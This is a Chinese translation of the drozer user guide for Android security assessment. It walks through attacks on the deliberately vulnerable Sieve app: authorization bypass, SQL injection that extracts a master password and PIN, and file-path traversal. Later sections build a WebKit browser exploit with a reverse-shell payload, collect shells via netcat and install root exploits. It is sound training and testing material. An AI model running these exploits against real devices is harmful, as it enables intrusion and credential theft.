# Drozer 用户指南

译者：Jession\_Ding

## 改版说明

|  |  |
| --- | --- |
| **日期** | **改版说明** |
| 2012-09-04 | Mercury用户指南的第一版 |
| 2012-12-14 | 更新支持基于模块界面的更改 |
| 2013-02-07 | 添加了“安装模块”部分来描述新模块库功能 |
| 2013-07-28 | 更新以反映Mercury到drozer的品牌重塑，并添加了对新开发功能的描述 |
| 2013-09-10 | 更新了“安装”部分，以反映使用程序包管理器在Linux上安装系统 |
| 2015-03-23 | 做了一般调整和改变了风格，使指南版本不可知 |

### 1.介绍

drozer是Android平台领先的安全评估框架。

drozer之所以出现，是因为我们厌倦了在Android应用程序或设备的安全评估过程中创建了数十个自定义的一次性应用程序来测试漏洞。 这个过程很费力，浪费了很多时间。

在Android上对动态分析的适当工具的需求是明确的，并且drozer诞生了。

本指南介绍了如何开始使用drozer，以及如何使用它来执行安全评估。 它假设熟悉Android平台，特别是其IPC机制。 我们建议您在本指南之前阅读Android开发人员指南（<http://developer.android.com>）。

另一个在其Android章节中广泛使用drozer的资源是“移动应用程序黑客手册”（ISBN：978-1-118-95850-6），该文档由drozer的开发人员编写。 该出版物解释了Android安全概念，并且在使用drozer方面非常全面。



#### drozer 是什么？

drozer允许您承担Android应用程序的角色并与其他应用程序进行交互。 它可以执行已安装的应用程序可以执行的任何操作，例如使用Android的进程间通信（IPC）机制并与底层操作系统交互。

drozer还通过构建利用已知漏洞的恶意文件或网页，帮助您远程利用Android设备。 在这些漏洞利用中使用的有效负载是一个流氓drozer代理，它本质上是一个远程管理工具。 根据授予易受攻击的应用程序的权限，drozer可以安装完整的代理程序，使用新技术将有限的代理程序注入进程或生成反向shell。

drozer是开源软件，在BSD许可下发布并由MWR InfoSecurity维护。 要与项目取得联系，请参阅第6节。

#### 1.2常规

在本指南中，命令行示例将使用以下两个前缀之一：

* C:\Users\segno> 表示应该在操作系统提示符下键入命令
* dz> 表示该命令应该输入到drozer控制台中

### 2.前提

为了让 drozer 运行，你将需要：

* 一台 PC 机(运行 Windows，Linux 或 MAC OS X)
* 一部安卓设备或模拟器运行在 Android 2.1 （指形小饼）或以上

#### 2.1安装控制台

##### 2.1.1前提

为了从 drozer 得到很多信息，你的系统应该有以下的安装：

* Java Development Kit (JDK) 1.6-非常重要！看下面的注释
* Python 2.7.×
* Android SDK

你应该确保这些工具的每一个都在路径中：

* adb
* java

**重要的注释关于 Java**

Java 1.6 被安装和使用是非常重要的。这是因为 Android 字节码仅仅是兼容 1.6 版本并且不兼容更高的版本。javac 比 1.6 更加高的任何版本的使用将导致错误，在编译期间看起来类似于以下内容：

trouble processing:

bad class file magic (cafebabe) or version (0033.0000)

...while parsing ClassLoadTest.class

...while processing ClassLoadTest.class

1 warning

no classfiles specified

Error whilst building APK bundle.

##### 2.1.2 微软 Windows

从 MWR 网站（<http://mwr.to/drozer）下载> drozer 安装程序并且运行它，安装程序将构建一个完整的Python环境，其中内置了drozer的依赖项。

为了测试你的安装，打开终端并且运行：（先进入到你 drozer 的安装文件夹）

E:\PythonX\Scripts>drozer.bat

usage: drozer.bat [COMMAND]

Run `drozer.bat [COMMAND] --help` for more usage information.

Commands:

console start the drozer Console

server start a drozer Server

ssl manage drozer SSL key material

exploit generate an exploit to deploy drozer

shellcode generate shellcode to deploy drozer

payload create custom drozer Agents

恭喜！你将准备让设备连接 drozer，并且开始扫描。

##### 2.1.3 Linux

drozer的包装是为dpkg和RPM包装系统提供的。 这些已分别在Debian / Ubuntu和Fedora下测试过。

如果您的平台支持其中一个，请下载相应的软件包并通过软件包管理器进行安装。 系统可能会提示您安装一些其他依赖项。

如果您的平台不支持这些软件包，请按照其他平台的说明进行操作。

##### 2.1.4其他平台

为了安装 drozer，首先确定你的PC机已经有正在运行的 Python 2.7.× 安装程序。

然后，安装 drozer 的依赖：

$ wget http://pypi.python.org/packages/2.7/s/setuptools/setuptools-0.6c11 py2.7.egg

$ sh setuptools-0.6c11-py2.7.egg

$ easy\_install --allow-hosts pypi.python.org protobuf

$ easy\_install twisted==10.2.0

最后，安装drozer本身。 下载压缩或tarball分发，并提取其中的egg文件。

然后运行：

$ easy\_install ./drozer-2.x.x-py2.7.egg

去测试你的安装程序，打开一个终端并且运行：

$ drozer

usage: drozer [COMMAND]

Run `drozer [COMMAND] --help` for more usage information.

Commands:

console start the drozer Console

module manage drozer modules

server start a drozer Server

ssl manage drozer SSL key material

exploit generate an exploit to deploy drozer

agent create custom drozer Agents

payload generate payloads to deploy drozer

恭喜！你将准备让设备连接 drozer，并且开始扫描。

#### 2.2安装 Agent

在所有的drozer发行版中，这个drozer Agent作为Android Package（.apk）文件包含在内。 可以使用Android Debug Bridge（adb）将其安装到您的仿真器或设备上：

E:\PythonX\Scripts>adb install agent,apk

drozer Agent应出现在设备的启动器中，可以通过点击图标启动。

#### 2.3开启一个会话

你现在应该有这个被安装在 PC 端的 drozer 控制台，并且这个 agent 运行在你的测试设备上。现在，你需要去这两者并且你将准备去开始扫描。

我们将使用drozer Agent中嵌入的服务器来执行此操作。

首先，你需要先去设置一个合适的端口，以致于你的 PC 能够连接一个被嵌在模拟器或者设备里通过agent打开的 TCP socket。默认的情况下，drozer 使用端口 31415：

E:\PythonX\Scripts>adb forward tcp:31415 tcp:31415

现在，登录这个agent，选择” Embedded Server”选项,然后点击”Enable”按钮以启动服务器。你应该在服务器已经开启的时候，看到一个通知。

然后，在你的 PC 端，使用这个 drozer 控制台连接：

E:\PythonX\Scripts>drozer console connect

或者，在微软 Windows 端：

E:\PythonX\Scripts>drozer.bat console connect

您应该看到一个drozer命令提示符出现：

Selecting f75640f67144d9a3 (unknown sdk 4.1.1)

…

dz>

提示确认您已连接的设备的Android ID，以及制造商，型号和Android软件版本。

您现在可以开始扫描该设备了。

#### 2.4在 drozer 控制台内

这个 drozer 控制台是一个命令行环境，任何已使用过 bash shell 或 Windows 终端的人都应该熟悉他。

rozer提供了广泛的“模块”，用于与Android设备进行交互，以评估其安全状况。 每个模块实现一个非常特定的功能，例如 列出设备上安装的所有软件包。

这些模块被组织成命名空间，将特定功能分组（参见附录I）。

您可以使用drozer定义的各种命令与drozer模块进行交互：

|  |  |
| --- | --- |
| **命令** | **描述** |
| run MODULE  list | 执行drozer模块  显示可在当前会话中执行的所有drozer模块的列表。 这会隐藏您没有合适权限运行的模块 |
| shell | 在代理程序进程的上下文中，在设备上启动交互式Linux shell |
| cd | 将特定命名空间安装作为会话的根目录，以避免重复键入模块的全名 |
| clean  contributions | 删除drozer在Android设备上存储的临时文件  显示已在系统中使用的对drozer框架和模块做出贡献的人员列表 |
| echo  exit  help  load    module  permissions  set  unset | 将文本打印到控制台  终止drozer会话  关于特定的命令或模块展示帮助信息  加载包含drozer命令的文件，并按顺序执行它们  从Internet查找并安装其他drozer模块  显示授予drozer Agent的权限列表  将值存储在作为环境变量传递给drozer生成的任何Linux shell的变量中  删除dorzer传递给它产生的任何Linux shell 命名的变量 |

### 3. 使用drozer进行安全评估

一旦你已经成功安装 drozer，并且已经在您的PC和设备之间建立了一个会话，你将毫无疑问想要去找出怎样去使用 drozer。

本节将指导您如何对易受攻击的应用程序执行有限的评估部分。 正在使用的应用程序的名称是Sieve，可以从MWR Labs网站下载：

<http://mwr.to/sieve>

#### 3.1 Sieve

Sieve是一个小型的Password Manager应用程序，用于展示Android应用程序中的一些常见漏洞。

首次启动Sieve时，它要求用户设置一个16个字符的“主密码”和一个4位数的引脚，用于保护用户稍后输入的密码。 用户可以使用Sieve存储各种服务的密码，如果需要正确的凭据，可以在以后检索。

在开始本教程之前，请将Sieve安装到Android模拟器上并创建几组凭据。

#### 3.2检索包信息

评估Sieve的第一步是在Android设备上找到它。 安装在Android设备上的应用程序由其“包名称”唯一标识。 我们可以使用`app.package.list`命令查找Sieve的标识符：

dz> run app.package.list -f sieve

com.mwr.example.sieve

我们能够使用 ’app.package.info’ 命令行询问 drozer 去提供一些关于包的基础的信息：

dz> run app.package.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve

Process Name: com.mwr.example.sieve

Version: 1.0

Data Directory: /data/data/com.mwr.example.sieve

APK Path: /data/app/com.mwr.example.sieve-2.apk

UID: 10056

GID: [1028, 1015, 3003]

Shared Libraries: null

Shared User ID: null

Uses Permissions:

- android.permission.READ\_EXTERNAL\_STORAGE

- android.permission.WRITE\_EXTERNAL\_STORAGE

- android.permission.INTERNET

Defines Permissions:

- com.mwr.example.sieve.READ\_KEYS

- com.mwr.example.sieve.WRITE\_KEYS

这向我们展示了有关该应用程序的一些详细信息，包括版本，应用程序在设备上保存其数据的位置，安装位置以及有关应用程序允许的权限的大量详细信息。

#### 3.3识别攻击面

为了本教程的目的，我们将只考虑通过Android的进程间通信（IPC）内置机制暴露的漏洞。 这些漏洞通常会导致敏感数据泄漏到安装在同一设备上的其他应用程序。

我们能询问 drozer 去报告在 Sieve 的攻击面：

dz> run app.package.attacksurface com.mwr.example.sieve

Attack Surface:

3 activities exported

0 broadcast receivers exported

2 content providers exported

2 services exported

is debuggable

这表明我们有许多潜在的载体。 应用程序'exports'（使其他应用程序可访问）许多活动（应用程序使用的屏幕），内容提供程序（数据库对象）和服务（后台工作程序）。

我们还注意到该服务是可调试的，这意味着我们可以使用adb将调试器附加到进程，并逐步执行代码。

#### 3.4启动活动

我们可以通过使用一些更具体的命令深入钻探此攻击面。 例如，我们可以询问Sieve导出哪些活动：

dz> run app.activity.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve

com.mwr.example.sieve.FileSelectActivity

com.mwr.example.sieve.MainLoginActivity

com.mwr.example.sieve.PWList

其中一个我们期望（MainLoginActivity），因为这是我们第一次启动应用程序时显示的屏幕。

其他两个预期较少：特别是PWList活动。 由于此活动已导出且不需要任何权限，我们可以请求drozer启动它：

dz> run app.activity.start --component

com.mwr.example.sieve com.mwr.example.sieve.PWList

这在后台制定了一个合适的Intent，并通过`startActivity`调用将它传递给系统。果然，我们已成功绕过授权，并显示用户凭据列表：



当调用`app.activity.start`时，可能会构建一个更复杂的意图。 与所有drozer模块一样，您可以请求更多使用信息：

dz> help app.activity.start

usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY [CATEG

ORY ...]]

[--component PACKAGE COMPONENT] [--data-uri DATA\_URI]

[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

[--mimetype MIMETYPE]

#### 3.5从 Content Providers 中读取数据

接下来，我们可以收集有关应用程序导出的内容提供商的更多信息。 我们再次提供了一个简单的命令来请求其他信息：

dz> run app.provider.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve

Authority: com.mwr.example.sieve.DBContentProvider

Read Permission: null

Write Permission: null

Content Provider: com.mwr.example.sieve.DBContentProvider

Multiprocess Allowed: True

Grant Uri Permissions: False

Path Permissions:

Path: /Keys

Type: PATTERN\_LITERAL //文字模式

Read Permission: com.mwr.example.sieve.READ\_KEYS

Write Permission: com.mwr.example.sieve.WRITE\_KEYS

Authority: com.mwr.example.sieve.FileBackupProvider

Read Permission: null

Write Permission: null

Content Provider: com.mwr.example.sieve.FileBackupProvider

Multiprocess Allowed: True

Grant Uri Permissions: False

这显示了攻击面在第3.3节中提到的两个导出的内容提供程序。 它确认这些内容提供者不需要任何特定权限与它们交互，但DBContentProvider中的/ Keys路径除外。

##### 3.5.1数据库支持 Content Providers（数据泄漏）

这是一个相当安全的假设，一个名为“DBContentProvider”的内容提供者将在其后端拥有某种形式的数据库。但是，如果不知道此内容提供商的组织方式，我们将很难提取任何信息。

我们可以重构部分内容URI来访问DBContentProvider，因为我们知道它们必须以“content：//”开头。 但是，我们无法知道提供程序将接受的所有路径组件。

幸运的是，Android应用程序倾向于提供有关内容URI的提示。 例如，在`app.provider.info`命令的输出中，我们看到“/ Keys”可能作为路径存在，但我们不能在没有READ\_KEYS权限的情况下查询它。

drozer提供了一个扫描器模块，它汇集了各种方法来猜测路径并划分可访问内容URI列表：

dz> run scanner.provider.finduris -a com.mwr.example.sieve

Scanning com.mwr.example.sieve...

Unable to Query content://com.mwr.example.sieve.DBContentProvider/

Unable to Query content://com.mwr.example.sieve.FileBackupProvider/

Unable to Query content://com.mwr.example.sieve.DBContentProvider

Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/

Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/

Unable to Query content://com.mwr.example.sieve.FileBackupProvider

Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords

Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:

content://com.mwr.example.sieve.DBContentProvider/Keys/

content://com.mwr.example.sieve.DBContentProvider/Passwords

content://com.mwr.example.sieve.DBContentProvider/Passwords/

我们现在可以使用其他drozer模块从这些内容URI中检索信息，甚至可以修改数据库中的数据：

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

\_id: 1

service: Email

username: incognitoguy50

password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded)

email: [incognitoguy50@gmail.com](mailto:incognitoguy50@gmail.com)

我们再一次击败了应用程序的安全性，并从应用程序中检索了一个用户名列表。 在这个例子中，drozer决定对密码进行base64编码。 这表示该字段包含二进制blob，否则无法在控制台中表示。

##### 3.5.2数据库支持 Content Providers（SQL 注入）

Android平台促进使用SQLite数据库来存储用户数据。 由于这些数据库使用SQL，因此它们很容易受到SQL注入的攻击。

通过操纵传递给内容提供者的投影和选择字段来测试SQL注入很简单：

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

unrecognized token: "')" (code 1): , while compiling: SELECT \* FROM Passwords WHERE (')

Android返回一个非常详细的错误消息，显示它尝试执行的整个查询。

我们可以充分利用此漏洞列出数据库中的所有表：

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Pas

swords/ --projection "\* FROM SQLITE\_MASTER WHERE type='table';--"

| type | name | tbl\_name | rootpage | sql

|

| table | android\_metadata | android\_metadata | 3 | CREATE TABLE android\_

metadata (locale TEXT) |

| table | Passwords | Passwords | 4 | CREATE TABLE Password

s (\_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |

| table | Key | Key | 5 | CREATE TABLE Key (Pas

sword TEXT PRIMARY KEY,pin TEXT )

或去查询其他受保护的表：

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Pa

sswords/ --projection "\* FROM Key;--"

| Password | pin |

| thisismypassword | 9876 |

##### 3.5.3文件系统支持的 Content Providers

内容提供商可以提供对底层文件系统的访问。 这允许应用程序共享文件，否则Android沙箱会阻止它。

由于我们可以合理地假设FileBackupProvider是一个由文件系统支持的内容提供程序，并且路径组件表示我们要打开的文件的位置，因此我们可以轻松猜出此内容的URI并使用drozer模块来读取文件：

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

127.0.0.1 localhost

::1 ip6-localhost

读取/ etc / hosts文件不是一个大问题（无论如何都是世界可读的）但是在第3.2节中发现了应用程序数据目录的路径，我们可以查看更多敏感信息：

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data

/data/com.mwr.example.sieve/databases/database.db /home/user/database.db

Written 24576 bytes

这会将应用程序的数据库从设备复制到本地计算机，在本地计算机上可以使用sqlite进行浏览，不仅可以提取用户的加密密码，还可以提取主密码。

##### 3.5.4 Content Provider 漏洞

我们已经看到内容提供程序可能容易受到SQL注入和目录遍历的攻击。drozer提供模块来自动测试这些漏洞的简单案例：

dz> run scanner.provider.injection -a com.mwr.example.sieve

Scanning com.mwr.example.sieve...

Not Vulnerable:

content://com.mwr.example.sieve.DBContentProvider/Keys

content://com.mwr.example.sieve.DBContentProvider/

content://com.mwr.example.sieve.FileBackupProvider/

content://com.mwr.example.sieve.DBContentProvider

content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:

content://com.mwr.example.sieve.DBContentProvider/Keys/

content://com.mwr.example.sieve.DBContentProvider/Passwords

content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:

content://com.mwr.example.sieve.DBContentProvider/Keys/

content://com.mwr.example.sieve.DBContentProvider/Passwords

content://com.mwr.example.sieve.DBContentProvider/Passwords/

#### 3.6与 Service 交互

到目前为止，我们几乎已经击败了Sieve。我们已经提取了用户的主密码以及一些与其服务密码相关的密文。这很好，但我们可以通过它导出的服务完全破坏Sieve。

回到3.3节，我们发现Sieve导出了两个服务。 与活动和内容提供商一样，我们可以要求更多细节：

dz> run app.service.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve

com.mwr.example.sieve.AuthService

Permission: null

com.mwr.example.sieve.CryptoService

Permission: null

再次，这些服务导出到所有其他应用程序，无需访问权限。 由于我们正在尝试解密密码，因此CryptoService看起来很有趣。

留下作为一个让读者充分利用Sieve的CryptoService的练习。 它通常涉及反编译应用程序以确定协议，并使用“app.service.send”或编写自定义drozer模块来向服务发送消息。

#### 3.7其他模块

在安全评估期间，drozer 提供许多的其他模块被使用：

* shell.start

在设备上，开启与 Linux shell 的交互

* tools.file.upload / tools.file.download

从Android设备中，允许文件上传和下载

* tools.setup.busybox / tools.setup.minimalsu

在设备上安装有用的二进制文件

有关详尽的列表，请在您的drozer控制台中键入`list`

### 4. drozer中的开发特性

drozer提供的功能可帮助将drozer代理部署到远程设备上，方法是利用设备上的应用程序或执行涉及一定程度社会工程的攻击。

drozer提供了一个共享漏洞和重用高质量有效载荷的框架。 它提供的模块允许生成用于漏洞利用的shell代码，以帮助访问远程受感染设备上的敏感数据。

#### 4.1基础设施模式

到目前为止，您可能已经在“直接模式”运行drozer，您可以在其中运行代理的嵌入式服务器并直接连接到它。 这对于通过adb或本地Wi-Fi网络连接的设备非常方便。

drozer支持另一种操作模式：“基础设施模式”。 在基础结构模式下，您可以在网络上或Internet上运行drozer服务器，为服务器和代理提供集合点，并在它们之间路由会话。

由于基础结构模式可以从设备建立出站连接，因此对于您不知道设备的IP地址或需要遍历NAT或防火墙的情况也很有用。

##### 4.1.1运行一个 drozer 服务器

要运行drozer服务器，您需要一台安装了drozer的计算机，移动设备和运行控制台的PC都可以访问该计算机。

然后简单地执行：

$ drozer server start

##### 4.1.2连接 agent

为了让 agent 去连接这个服务器，您必须将其详细信息添加为“端点”。在设备上：

1. 开启drozer 的agent，按菜单按钮，并且选择‘setting’
2. 选择’New Endpoint’
3. 设置你服务器的主机名’Host’或 IP 地址
4. 设置你正在运行的服务器的端口‘Port’，除非它是标准配置
5. 点击‘Save’（在更老的设备上，你或许需要点击这个菜单按钮）

如果您导航回主屏幕，您应该在drozerl ogo下看到您的终端。 选择它并以与启动嵌入式服务器相同的方式启用它。

##### 4.1.3连接控制台

你现在准备将服务器和你的控制台连接。

首先，你将需要检查它，如果没问题，设备将被连接：

$ drozer console devices --server myserver:31415

List of Bound Devices

Device ID Manufacturer Model Software

67dcdbacd1ea6b60 unknown sdk 4.1.2

67dcdbacd1ea6b61 unknown sdk 4.2.0

其中“myserver”是drozer服务器的主机名或IP地址。

这展示了我们已有两个设备连接，运行 Jellybean 的不同版本。您可以在启动控制台时通过提供其设备ID来指定要使用的内容：

$ drozer console connect 67dcdbacd1ea6b60 –-server myserver:31415

…

dz>

##### 4.1.4 drozer 服务器和开发

drozer服务器对于开发是至关重要的，因为它在一个服务器中扮演多个服务器：

* drozerp 如果drozer代理连接，它使用drozer的自定义二进制协议
* http 如果Web浏览器连接，它通过HTTP提供资源
* bytessteam 如果在传输开始时发送特定字节，则它响应对资源进行流处理
* shell server 如果将'S'（0x53）作为第一个字节发送，则连接将缓存为绑定shell

drozer在整个开发过程中都充分使用这个服务器来托管成功完成开发并将代理部署到设备和从受损设备接收连接所需的资源。

#### 4.2漏洞

drozer 开发模板和 shellcode是 drozer 模块特殊的类型。 它们由`drozer exploit`命令组合以创建一个完整的漏洞：

$ drozer exploit build EXPLOIT SHELLCODE [OPTIONS]

可用的漏洞可以通过运行列出:

$ drozer exploit list

exploit.remote.webkit.nanparse

Webkit Invalid NaN Parsing (CVE-2010-1807)

...

同样，要查看可用的shellcode：

$ drozer shellcode list

shell.reverse\_tcp.armeabi Establish a reverse TCP Shell (ARMEABI)

weasel.reverse\_tcp.armeabi weasel through a reverse TCP Shell (ARMEABI)

综上所述，我们可以为CVE-2010-1807构建一个漏洞，利用weasel（MWR的高级有效载荷）在旧的Android 2.1设备上获得立足点：

$ drozer exploit build exploit.remote.webkit.nanparse –-payload weasel.reverse\_tcp.armeabi

--server 10.0.2.2:31415 --push-server 127.0.0.1:31415 --resource /home.html

Uploading weasel to /weasel and W... [ OK ]

Uploading the Agent to /agent.apk and A... [ OK ]

Uploading Exploit to /home.html... [ OK ]

Done. The exploit is available at: http://10.0.2.2:31415/home.html

将易受攻击的设备指向其Web浏览器中的漏洞利用地址，不久之后您将从该漏洞获得一个连接：

$ drozer console devices

List of Bound Devices

Device ID Manufacturer Model Software

9265590285227392218 unknown unknown unknown

异常长的设备ID和所有其他字段中的“未知”表明这是一个轻量级代理，我们还没有成功安装完整的drozer代理。

#### 4.3 weasel

在4.2节中，我们看到了weasel如何将轻量级代理部署到易受攻击的设备上。

weasel是drozer的高级有效负载，可在受损设备上自动获得最大杠杆。

以下是发生的事：

1. 易受攻击的设备被利用（以某种方式）。
2. 该漏洞利用shell代码建立与drozer服务器的反向TCP shell连接。
3. 有效负载向drozer服务器发送一个'W'（0x57），表示它希望执行weasel stager序列。
4. drozer服务器提供shell命令来安装和启动weasel。
5. weasel尝试了许多技术来运行drozer代理。

根据weasel升级权限的能力，您将从完整代理，有限代理或仅正常的反向shell接收连接。

##### 4.3.1完整代理

如果weasel能够安装一个包，您将从完整的drozer代理接收连接。 这与您目前使用的代理程序相同，但不会向设备所有者显示GUI。

##### 4.3.2有限代理

如果weasel无法安装软件包，它仍然可以运行drozer代理的版本。 这是完整代理，但无权访问任何“应用程序上下文”。 这可以防止它直接与运行时的各个部分进行交互，例如程序包管理器，因此您无法与其他程序包或其IPC端点进行交互。 如果您获得有限代理，drozer将从“list”命令自动隐藏无法运行的模块。

##### 4.3.3 反向的壳(Reverse Shell)

如果drozer甚至无法执行有限代理，它将为drozer服务器提供正常的Linux shell。 您可以通过使用netcat连接到服务器来收集这些shell，并发送一行“COLLECT”：

$ nc myserver 31415

COLLECT

drozer Shell Server

-------------------

There is 1 shell waiting...

1) 127.0.0.1:54214

Shell: 1

/system/bin/id

uid=10058(u0\_a58) gid=10058(u0\_a58) groups=1028(sdcard\_r),3003(inet)

### 5.安装模块

立即可用的，drozer提供模块来研究Android平台的各个方面，以及一些远程攻击。您可以通过下载和安装其他模块来扩展drozer的功能。

#### 5.1找到模块

官方drozer模块存储库与Github上的主项目一起托管。 这会自动设置在您的drozer副本中。 您可以使用`module`命令搜索模块：

dz> module search root

metall0id.root.cmdclient

metall0id.root.exynosmem.exynosmem

metall0id.root.scanner\_check

metall0id.root.ztesyncagent

有关模块的更多信息，请输入`-d`命令：

dz> module search cmdclient -d

metall0id.root.cmdclient

Exploit the setuid-root binary at /system/bin/cmdclient on certain devices to gain a

root shell. Command injection vulnerabilities exist in the parsing mechanisms of the

various input arguments.

This exploit has been reported to work on the Acer Iconia, Motorola XYBoard and

Motorola Xoom FE.

#### 5.2安装模块

您通过使用 ’module’ 命令来安装模块：

dz> module install cmdclient

Processing metall0id.root.cmdclient... Done.

Successfully installed 1 modules, 0 already installed

这将安装与您的查询匹配的任何模块。 新安装的模块可动态加载到您的控制台中，可立即使用。

### 6.得到帮助

卡住？ 有什么不行吗？ 有一个很棒的主意吗？

我们感谢软件有时不能按预期工作，并且事情确实出错了。 让drozer变得更棒的是社区分享他们如何使其变得更好的想法。

有几种方法可以联系：



**Tweet Us**

我们是@mwrdrozer。 向我们发送问题，评论，并告诉我们你用drozer做的很酷的事情。



**Github**

drozer在Github上：github.com/mwrlabs/drozer。 查看项目以获取我们的wiki中的其他信息，以及我们的问题跟踪器，以报告错误和请求功能。

## 附录I - drozer命名空间

此表列出了用于drozer模块的常用名称空间以及这些名称空间中模块的用途。

|  |  |
| --- | --- |
| **命名空间** | **描述** |
| app.activity | 查找应用程序导出的活动并与之交互 |
| app.broadcast  app.package  app.provider | 查找应用程序导出的广播接收器并与之交互  查找设备上安装的软件包，并收集有关它们的信息  查找应用程序导出的内容提供商并与之交互 |
| app.service | 查找应用程序导出的服务并与之交互 |
| auxiliary(辅助)  exploit.pilfer | 已经移植到drozer的有用工具  通过不受保护的内容提供程序或SQL注入提取敏感信息的公共漏洞 |
| exploit.root  information | 公共根漏洞  提取与设备相关地额外的信息 |
| scanner  shell | 使用自动扫描程序查找常见漏洞  与底层Linux操作系统交互 |
| tools.file  tools.setup | 从设备中上传或下载文件  在设备上安装便捷的实用程序，包括busybox |

drozer模块开发人员可以选择创建其他名称空间。